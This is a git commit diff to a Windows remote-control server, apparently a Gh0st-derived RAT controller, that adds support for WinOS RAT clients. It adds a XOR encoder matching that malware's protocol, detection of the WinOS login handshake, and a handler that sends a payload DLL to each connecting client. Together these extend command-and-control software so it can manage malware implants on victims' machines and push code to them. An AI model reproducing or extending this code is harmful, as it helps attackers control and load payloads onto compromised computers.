Feature: Support WinOS RAT client

This commit is contained in:
yuanyuanxiang
2025-06-11 03:16:09 +08:00
parent 3b53519e89
commit ddb2fc87b5
7 changed files with 107 additions and 3 deletions

View File

@@ -122,3 +122,25 @@ public:
decrypt_internal(data, len, param[6], param[7]);
}
};
class WinOsEncoder : public Encoder {
public:
virtual ~WinOsEncoder() {}
// Encode data before compress.
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {
return XOR(data, len, param);
}
// Decode data after uncompress.
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {
return XOR(data, len, param);
}
private:
void XOR(unsigned char* data, int len, unsigned char* password)
{
for (int i = 0, j = 0; i < len; i++) {
((char*)data)[i] ^= (password[j++]) % 456 + 54;
if (i % (10) == 0)
j = 0;
}
}
};

View File

@@ -113,6 +113,7 @@ inline HeaderFlag GetHead(EncFun enc) {
}
enum FlagType {
FLAG_WINOS = -1,
FLAG_UNKNOWN = 0,
FLAG_SHINE = 1,
FLAG_FUCK = 2,

View File

@@ -35,6 +35,7 @@
#include <sys/MachineDlg.h>
#include "Chat.h"
#include "DecryptDlg.h"
#include "adapter.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -1647,6 +1648,20 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
{
case TOKEN_GETVERSION: // 获取版本
{
// TODO 维持心跳
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
Buffer* bin = m_ServerBin[is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86];
DllSendData dll = { TASK_MAIN, L"ServerDll.dll", is64Bit, bin->length()-6 };
BYTE *resp = new BYTE[1 + sizeof(DllSendData) + dll.DataSize];
resp[0] = 0;
memcpy(resp+1, &dll, sizeof(DllSendData));
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
m_iocpServer->OnClientPreSending(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
SAFE_DELETE_ARRAY(resp);
break;
}
case CMD_EXECUTE_DLL: // 请求DLL
{
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);

View File

@@ -252,6 +252,7 @@
<ClInclude Include="..\..\common\encrypt.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="adapter.h" />
<ClInclude Include="AudioDlg.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="BuildDlg.h" />

View File

@@ -499,6 +499,16 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
else if (pr.IsNeedMore()) {
break;
}
else if (pr.IsWinOSLogin())
{
ContextObject->InDeCompressedBuffer.ClearBuffer();
ULONG ulCompressedLength = 0;
ULONG ulOriginalLength = 0;
PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
m_NotifyProc(ContextObject);
break;
}
ULONG ulPackTotalLength = 0;
ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), pr.Result);

View File

@@ -44,6 +44,7 @@ enum
};
enum {
PARSER_WINOS = -2,
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
@@ -56,6 +57,9 @@ typedef struct PR {
bool IsNeedMore() const {
return PARSER_NEEDMORE == Result;
}
bool IsWinOSLogin() const {
return PARSER_WINOS == Result;
}
}PR;
enum {
@@ -87,6 +91,23 @@ protected:
HeaderEncType encTyp = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encTyp);
if (flagType == FLAG_UNKNOWN) {
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4;
int length = *((int*)ptr);
int excepted = buf.GetBufferLength();
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
m_nFlagType = FLAG_WINOS;
compressMethod = COMPRESS_NONE;
memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nCompareLen = 0;
m_nFlagLen = 0;
m_nHeaderLen = 14;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new WinOsEncoder();
return PR{ PARSER_WINOS };
}
return PR{ PARSER_FAILED };
}
if (m_bParsed) { // Check if the header has been parsed.
@@ -162,6 +183,9 @@ protected:
const char* GetFlag() const {
return m_szPacketFlag;
}
FlagType GetFlagType() const {
return m_nFlagType;
}
Encoder* GetEncoder() const {
return m_Encoder;
}
@@ -264,8 +288,13 @@ typedef struct CONTEXT_OBJECT
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
memcpy(szPacketFlag, Parser.GetFlag(), 10);
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
}else {
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
}
Encode2(data, dataLen, szPacketFlag);
OutCompressedBuffer.WriteBuffer(data, dataLen);
}
@@ -277,7 +306,11 @@ typedef struct CONTEXT_OBJECT
BYTE szPacketFlag[32] = {};
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
} else {
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
}
dataLen = totalLen - Parser.GetHeaderLen();
PBYTE CompressedBuffer = new BYTE[dataLen];
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);

View File

@@ -0,0 +1,22 @@
#pragma once
#include <wtypes.h>
/******************************* WinOS RAT Adapter ****************************************/
#define TOKEN_GETVERSION 4
#define TOKEN_ACTIVED 202
enum SENDTASK {
TASK_MAIN,
TASK_PLUG,
};
struct DllSendData {
SENDTASK sendtask;
WCHAR DllName[255]; // DL名称
BOOL is_64; // 位数
int DataSize; // DLL大小
WCHAR szVersion[50]; // 版本
WCHAR szcommand[1000];
int i;
};